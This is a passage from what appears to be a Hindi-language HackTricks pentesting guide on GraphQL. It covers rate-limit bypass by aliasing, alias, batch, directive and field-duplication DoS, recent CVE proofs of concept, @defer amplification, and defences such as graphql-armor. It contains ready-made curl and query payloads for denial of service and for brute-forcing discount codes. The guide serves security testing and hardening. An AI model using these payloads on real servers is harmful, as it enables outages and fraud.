नीचे दिए गए उदाहरण पर विचार करें, जो दिखाता है कि कैसे उपनामित क्वेरी का उपयोग स्टोर छूट कोड की वैधता की पुष्टि करने के लिए किया जा सकता है। यह विधि दर सीमित करने को बायपास कर सकती है क्योंकि यह कई क्वेरियों को एक HTTP अनुरोध में संकलित करती है, संभावित रूप से कई छूट कोड की एक साथ पुष्टि करने की अनुमति देती है।
|
||
```bash
|
||
# Example of a request utilizing aliased queries to check for valid discount codes
|
||
query isValidDiscount($code: Int) {
|
||
isvalidDiscount(code:$code){
|
||
valid
|
||
}
|
||
isValidDiscount2:isValidDiscount(code:$code){
|
||
valid
|
||
}
|
||
isValidDiscount3:isValidDiscount(code:$code){
|
||
valid
|
||
}
|
||
}
|
||
```
|
||
## DoS in GraphQL
|
||
|
||
### Alias Overloading
|
||
|
||
**Alias Overloading** एक GraphQL कमजोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई उपनामों के साथ एक क्वेरी को ओवरलोड करते हैं, जिससे बैकएंड रिसोल्वर उस फ़ील्ड को बार-बार निष्पादित करता है। इससे सर्वर संसाधनों पर दबाव पड़ सकता है, जिससे **Denial of Service (DoS)** हो सकता है। उदाहरण के लिए, नीचे दी गई क्वेरी में, एक ही फ़ील्ड (`expensiveField`) को उपनामों का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे बैकएंड को इसे 1,000 बार गणना करने के लिए मजबूर किया जाता है, संभावित रूप से CPU या मेमोरी को समाप्त कर सकता है:
|
||
```graphql
|
||
# Test provided by https://github.com/dolevf/graphql-cop
|
||
curl -X POST -H "Content-Type: application/json" \
|
||
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
|
||
'https://example.com/graphql'
|
||
```
|
||
इससे निपटने के लिए, संसाधन दुरुपयोग को रोकने के लिए उपनाम गणना सीमाएँ, क्वेरी जटिलता विश्लेषण, या दर सीमित करना लागू करें।
|
||
|
||
### **Array-based Query Batching**
|
||
|
||
**Array-based Query Batching** एक कमजोरियों है जहाँ एक GraphQL API एकल अनुरोध में कई क्वेरियों को बैच करने की अनुमति देती है, जिससे एक हमलावर को एक साथ बड़ी संख्या में क्वेरियाँ भेजने की अनुमति मिलती है। यह सभी बैच की गई क्वेरियों को समानांतर में निष्पादित करके बैकएंड को अभिभूत कर सकता है, अत्यधिक संसाधनों (CPU, मेमोरी, डेटाबेस कनेक्शन) का उपभोग कर सकता है और संभावित रूप से **Denial of Service (DoS)** का कारण बन सकता है। यदि बैच में क्वेरियों की संख्या पर कोई सीमा नहीं है, तो एक हमलावर इसका लाभ उठाकर सेवा की उपलब्धता को कम कर सकता है।
|
||
```graphql
|
||
# Test provided by https://github.com/dolevf/graphql-cop
|
||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||
-H "Content-Type: application/json" \
|
||
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
|
||
'https://example.com/graphql'
|
||
```
|
||
इस उदाहरण में, 10 विभिन्न क्वेरीज़ को एक अनुरोध में समाहित किया गया है, जिससे सर्वर को सभी को एक साथ निष्पादित करने के लिए मजबूर किया जाता है। यदि बड़े बैच आकार या गणनात्मक रूप से महंगे क्वेरीज़ के साथ इसका शोषण किया जाए, तो यह सर्वर को ओवरलोड कर सकता है।
|
||
|
||
### **निर्देश ओवरलोडिंग कमजोरियाँ**
|
||
|
||
**निर्देश ओवरलोडिंग** तब होती है जब एक GraphQL सर्वर अत्यधिक, दोहराए गए निर्देशों के साथ क्वेरीज़ की अनुमति देता है। यह सर्वर के पार्सर और निष्पादक को अभिभूत कर सकता है, विशेष रूप से यदि सर्वर बार-बार समान निर्देश लॉजिक को प्रोसेस करता है। उचित सत्यापन या सीमाओं के बिना, एक हमलावर इसे शोषित कर सकता है, एक क्वेरी तैयार करके जिसमें कई दोहराए गए निर्देश होते हैं, जिससे उच्च गणनात्मक या मेमोरी उपयोग को ट्रिगर किया जा सकता है, जो **सेवा से इनकार (DoS)** की स्थिति का कारण बनता है।
|
||
```bash
|
||
# Test provided by https://github.com/dolevf/graphql-cop
|
||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||
-H "Content-Type: application/json" \
|
||
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
|
||
'https://example.com/graphql'
|
||
```
|
||
ध्यान दें कि पिछले उदाहरण में `@aa` एक कस्टम निर्देश है जो **घोषित नहीं किया जा सकता**। एक सामान्य निर्देश जो आमतौर पर मौजूद होता है वह है **`@include`**:
|
||
```bash
|
||
curl -X POST \
|
||
-H "Content-Type: application/json" \
|
||
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
|
||
'https://example.com/graphql'
|
||
```
|
||
आप सभी घोषित निर्देशों का पता लगाने के लिए एक अंतर्दृष्टि प्रश्न भी भेज सकते हैं:
|
||
```bash
|
||
curl -X POST \
|
||
-H "Content-Type: application/json" \
|
||
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
|
||
'https://example.com/graphql'
|
||
```
|
||
और फिर **कुछ कस्टम** का उपयोग करें।
|
||
|
||
### **फील्ड डुप्लिकेशन कमजोरियाँ**
|
||
|
||
**फील्ड डुप्लिकेशन** एक कमजोरियाँ है जहाँ एक GraphQL सर्वर एक ही फील्ड को अत्यधिक दोहराए जाने वाले प्रश्नों की अनुमति देता है। यह सर्वर को हर उदाहरण के लिए फील्ड को पुनः हल करने के लिए मजबूर करता है, जिससे महत्वपूर्ण संसाधनों (CPU, मेमोरी, और डेटाबेस कॉल) की खपत होती है। एक हमलावर सैकड़ों या हजारों दोहराए गए फील्ड के साथ प्रश्न तैयार कर सकता है, जिससे उच्च लोड उत्पन्न होता है और संभावित रूप से **सेवा से इनकार (DoS)** की स्थिति उत्पन्न हो सकती है।
|
||
```bash
|
||
# Test provided by https://github.com/dolevf/graphql-cop
|
||
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
|
||
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
|
||
'https://example.com/graphql'
|
||
```
|
||
## हाल की कमजोरियाँ (2023-2025)
|
||
|
||
> GraphQL पारिस्थितिकी तंत्र बहुत तेजी से विकसित हो रहा है; पिछले दो वर्षों में कई महत्वपूर्ण मुद्दे सबसे अधिक उपयोग की जाने वाली सर्वर लाइब्रेरीज़ में उजागर हुए हैं। जब आप एक GraphQL एंडपॉइंट पाते हैं, तो इंजन की पहचान करना (देखें **graphw00f**) और चल रही संस्करण की जांच करना नीचे दी गई कमजोरियों के खिलाफ महत्वपूर्ण है।
|
||
|
||
### CVE-2024-47614 – `async-graphql` निर्देश-ओवरलोड DoS (Rust)
|
||
* प्रभावित: async-graphql < **7.0.10** (Rust)
|
||
* मूल कारण: **नकली निर्देशों** पर कोई सीमा नहीं (जैसे हजारों `@include`) जो निष्पादन नोड्स की एक गुणात्मक संख्या में विस्तारित होते हैं।
|
||
* प्रभाव: एकल HTTP अनुरोध CPU/RAM को समाप्त कर सकता है और सेवा को क्रैश कर सकता है।
|
||
* समाधान/निवारण: ≥ 7.0.10 में अपग्रेड करें या `SchemaBuilder.limit_directives()` कॉल करें; वैकल्पिक रूप से `"@include.*@include.*@include"` जैसे WAF नियम के साथ अनुरोधों को फ़िल्टर करें।
|
||
```graphql
|
||
# PoC – repeat @include X times
|
||
query overload {
|
||
__typename @include(if:true) @include(if:true) @include(if:true)
|
||
}
|
||
```
|
||
### CVE-2024-40094 – `graphql-java` ENF गहराई/जटिलता बायपास
|
||
* प्रभावित: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
|
||
* मूल कारण: **ExecutableNormalizedFields** को `MaxQueryDepth` / `MaxQueryComplexity` उपकरण द्वारा नहीं माना गया। पुनरावर्ती फ़्रैगमेंट्स ने सभी सीमाओं को बायपास कर दिया।
|
||
* प्रभाव: graphql-java (Spring Boot, Netflix DGS, Atlassian उत्पाद…) को एम्बेड करने वाले Java स्टैक्स के खिलाफ अनधिकृत DoS।
|
||
```graphql
|
||
fragment A on Query { ...B }
|
||
fragment B on Query { ...A }
|
||
query { ...A }
|
||
```
|
||
### CVE-2023-23684 – WPGraphQL SSRF to RCE chain
|
||
* प्रभावित: WPGraphQL ≤ 1.14.5 (WordPress प्लगइन)।
|
||
* मूल कारण: `createMediaItem` म्यूटेशन ने हमलावर-नियंत्रित **`filePath` URLs** को स्वीकार किया, जिससे आंतरिक नेटवर्क पहुंच और फ़ाइल लेखन की अनुमति मिली।
|
||
* प्रभाव: प्रमाणित संपादक/लेखक मेटाडेटा एंडपॉइंट्स तक पहुंच सकते थे या दूरस्थ कोड निष्पादन के लिए PHP फ़ाइलें लिख सकते थे।
|
||
|
||
---
|
||
|
||
## Incremental delivery abuse: `@defer` / `@stream`
|
||
2023 से अधिकांश प्रमुख सर्वरों (Apollo 4, GraphQL-Java 20+, HotChocolate 13) ने GraphQL-over-HTTP WG द्वारा परिभाषित **incremental delivery** निर्देशों को लागू किया। हर डिफर्ड पैच को **अलग टुकड़े** के रूप में भेजा जाता है, इसलिए कुल प्रतिक्रिया आकार *N + 1* (लिफाफा + पैच) हो जाता है। एक क्वेरी जिसमें हजारों छोटे डिफर्ड फ़ील्ड होते हैं, इसलिए एक बड़ा उत्तर उत्पन्न करती है जबकि हमलावर को केवल एक अनुरोध की लागत आती है - एक पारंपरिक **amplification DoS** और शरीर के आकार के WAF नियमों को बायपास करने का एक तरीका जो केवल पहले टुकड़े की जांच करते हैं। WG के सदस्यों ने स्वयं इस जोखिम को चिह्नित किया।
|
||
|
||
2,000 पैच उत्पन्न करने वाला उदाहरण पेलोड:
|
||
```graphql
|
||
query abuse {
|
||
% for i in range(0,2000):
|
||
f{{i}}: __typename @defer
|
||
% endfor
|
||
}
|
||
```
|
||
Mitigation: उत्पादन में `@defer/@stream` को बंद करें या `max_patches`, संचयी `max_bytes` और निष्पादन समय को लागू करें। **graphql-armor** जैसी पुस्तकालय (नीचे देखें) पहले से ही समझदारी से डिफ़ॉल्ट लागू करते हैं।
|
||
|
||
---
|
||
|
||
## Defensive middleware (2024+)
|
||
|
||
| Project | Notes |
|
||
|---|---|
|
||
| **graphql-armor** | Escape Tech द्वारा प्रकाशित Node/TypeScript मान्यता मध्यवर्ती। क्वेरी गहराई, उपनाम/क्षेत्र/निर्देश गणना, टोकन और लागत के लिए प्लग-एंड-प्ले सीमाएँ लागू करता है; Apollo Server, GraphQL Yoga/Envelop, Helix आदि के साथ संगत। |
|
||
|
||
Quick start:
|
||
```ts
|
||
import { protect } from '@escape.tech/graphql-armor';
|
||
import { applyMiddleware } from 'graphql-middleware';
|
||
|
||
const protectedSchema = applyMiddleware(schema, ...protect());
|
||
```
|
||
`graphql-armor` अब अत्यधिक गहरे, जटिल या निर्देश-भारी प्रश्नों को ब्लॉक करेगा, उपरोक्त CVEs के खिलाफ सुरक्षा प्रदान करेगा।
|
||
|
||
---
|
||
|
||
## उपकरण
|
||
|
||
### कमजोरियों के स्कैनर
|
||
|
||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql अंत बिंदुओं की सामान्य गलत कॉन्फ़िगरेशन का परीक्षण करें
|
||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): बैच GraphQL प्रश्नों और म्यूटेशनों को करने पर ध्यान केंद्रित करने वाला GraphQL सुरक्षा ऑडिटिंग स्क्रिप्ट।
|
||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): उपयोग किए जा रहे graphql की फिंगरप्रिंटिंग करें
|
||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): टूलकिट जिसका उपयोग स्कीमाओं को पकड़ने और संवेदनशील डेटा की खोज, प्राधिकरण का परीक्षण, ब्रूट फोर्स स्कीमाओं और एक दिए गए प्रकार के लिए पथ खोजने के लिए किया जा सकता है।
|
||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): इसे स्टैंडअलोन या [Burp extension](https://github.com/doyensec/inql) के रूप में उपयोग किया जा सकता है।
|
||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): इसे CLI क्लाइंट के रूप में भी उपयोग किया जा सकता है ताकि हमलों को स्वचालित किया जा सके: `python3 graphqlmap.py -u http://example.com/graphql --inject`
|
||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): टूल जो **GraphQL स्कीमा में एक दिए गए प्रकार तक पहुँचने के विभिन्न तरीकों** की सूची बनाता है।
|
||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL के स्टैंडअलोन और CLI मोड का उत्तराधिकारी
|
||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): उन्नत GraphQL परीक्षण के लिए Burp extension या python स्क्रिप्ट। _**Scanner**_ InQL v5.0 का मूल है, जहाँ आप एक GraphQL अंत बिंदु या एक स्थानीय अंतर्दृष्टि स्कीमा फ़ाइल का विश्लेषण कर सकते हैं। यह सभी संभावित प्रश्नों और म्यूटेशनों को स्वचालित रूप से उत्पन्न करता है, उन्हें आपके विश्लेषण के लिए एक संरचित दृश्य में व्यवस्थित करता है। _**Attacker**_ घटक आपको बैच GraphQL हमले चलाने की अनुमति देता है, जो खराब कार्यान्वित दर सीमाओं को पार करने के लिए उपयोगी हो सकता है: `python3 inql.py -t http://example.com/graphql -o output.json`
|
||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): कुछ Graphql डेटाबेस की मदद से स्कीमा प्राप्त करने की कोशिश करें जो म्यूटेशनों और पैरामीटर के नाम सुझाएंगे, भले ही अंतर्दृष्टि अक्षम हो।
|
||
|
||
### सामान्य कमजोरियों का शोषण करने के लिए स्क्रिप्ट
|
||
|
||
- [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): कमजोर graphql वातावरण में सेवा से इनकार की कमजोरियों का शोषण करने के लिए स्क्रिप्ट का संग्रह।
|
||
|
||
### क्लाइंट
|
||
|
||
- [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI क्लाइंट
|
||
- [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI क्लाइंट
|
||
|
||
### स्वचालित परीक्षण
|
||
|
||
{{#ref}}
|
||
https://graphql-dashboard.herokuapp.com/
|
||
{{#endref}}
|
||
|
||
- AutoGraphQL को समझाने वाला वीडियो: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
||
|
||
## संदर्भ
|
||
|
||
- [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
|
||
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
||
- [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
|
||
- [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
|
||
- [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
|
||
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
||
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
|
||
- [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8)
|
||
- [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|